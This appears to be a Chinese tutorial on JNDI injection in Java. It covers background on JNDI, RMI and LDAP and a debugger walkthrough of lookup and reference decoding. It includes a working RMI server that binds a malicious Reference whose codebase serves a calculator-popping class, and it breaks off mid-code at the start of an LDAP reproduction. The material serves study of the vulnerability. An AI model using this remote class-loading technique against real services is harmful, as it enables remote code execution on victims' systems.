JNDI(Java Naming and Directory Interface,Java命名和目录接口) 是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

| 协议 | 作用 |
|---|---|
| LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名服务 |
| CORBA | 公共对象请求代理体系结构 |
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj", remoteObj);
}
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException {
}
@Override
public String sayHello(String keywords) {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
import javax.naming.InitialContext;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}

此处断点调试,跟进 lookup

InitialContext.lookup

GenericURLContext.lookup

RegistryContext.lookup

RegistryImpl_Stub.lookup 到这里就不用跟了,攻击方式和 RMI 中攻击注册中心一样,

RMI 中的攻击注册中心:https://www.yuque.com/taohuayuanpang/qxcvxi/rzl0dhpb5pnb8noh#dT3m5
先写一个弹出计算器类并编译:


之后用 python 开一个 http 服务,监听 7777 端口

服务端:
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
// 在当前 JVM 中启动(或创建)一个 RMI registry,监听端口 1099
Registry registry = LocateRegistry.createRegistry(1099);
//将 JndiCalc 类的 JndiCalc 方法,放到 http://localhost:7777/
// 创建一个 Reference 对象(指向一个可通过工厂/远程位置获取的类)
Reference reference = new Reference("JndiCalc", "JndiCalc", "http://localhost:7777/");
// 将 Reference 绑定到 JNDI 命名空间中的 rmi URL 下
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

然后用客户端访问,
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
弹出计算器:

这个调用过程就是 3.1 中以及分析过的,实际上还是调用了 lookup 方法
在客户端的 lookup 处断点
跟到 RegistryImpl_Stub 这里,

继续跟进

这里看到 var2 被赋值了 ,这里的 var2 是一个对象变量,Ref 将值传递给了它

步入 decodeObject ,

先做了一个简单的判断,判断是否为 ReferenceWrapper,也就是判断是否为Reference对象

继续跟进 getObjectInstance

这里使用强转将 refInfo 转为 Reference

继续往下走,getObjectFactoryBuilder() 这里获取到了恶意类


继续往下走,获取到 codebase,并且进行 helper.loadClass()


来到 newInstance() 后会调用 JndiCalc 类执行代码


LDAP 简介
Lightweight Directory Access Protocol (轻量级目录访问协议)是一种开放的、与供应商无关的行业标准应用协议, 用于通过互联网协议(IP) 网络访问和维护分布式目录信息服务。目录服务在开发内联网和互联网应用程序中发挥着重要作用,因为它允许在整个网络中共享有关用户、系统、网络、服务和应用程序的信息。例如,目录服务可以提供任何有组织的记录集,通常具有层次结构,例如公司电子邮件目录。同样,电话簿是包含地址和电话号码的用户列表。
LDAP 身份验证的基本流程:
用户提供凭证:用户通过客户端应用(如数据库客户端)输入用户名和密码。
客户端与 LDAP 服务器通信:客户端通过 LDAP 协议与 LDAP 服务器通信,将用户名和密码发送给 LDAP 服务器。
LDAP 服务器验证:LDAP 服务器检查用户名是否存在,并对密码进行验证。
返回验证结果:如果用户名和密码匹配,LDAP 服务器返回认证成功的信息,允许用户访问资源。否则,返回认证失败。
LDAP 支持多种认证方式,如:
匿名认证:不需要提供凭证,但访问权限有限。
简单认证:用户提供用户名和密码进行身份验证。
SASL(简单认证和安全层)认证:用于更复杂的认证机制,提供更高的安全性。
LDAP 目录服务的常用结构
LDAP 目录中的信息组织为树形结构,称为 目录信息树(DIT)。常见的条目包括用户、组织、部门等。条目使用 Distinguished Name (DN) 进行标识,DN 包括所有节点的完整路径。例如,一个用户条目的 DN 可能是:
uid=john,ou=users,dc=example,dc=com
其中:
uid=john表示用户名为 john。
ou=users表示该条目属于“users”组织单元。
dc=example,dc=com表示 LDAP 服务器的域名是example.com。
漏洞复现:
导入unboundid-ldapsdk的依赖。
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
</dependencies>import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.l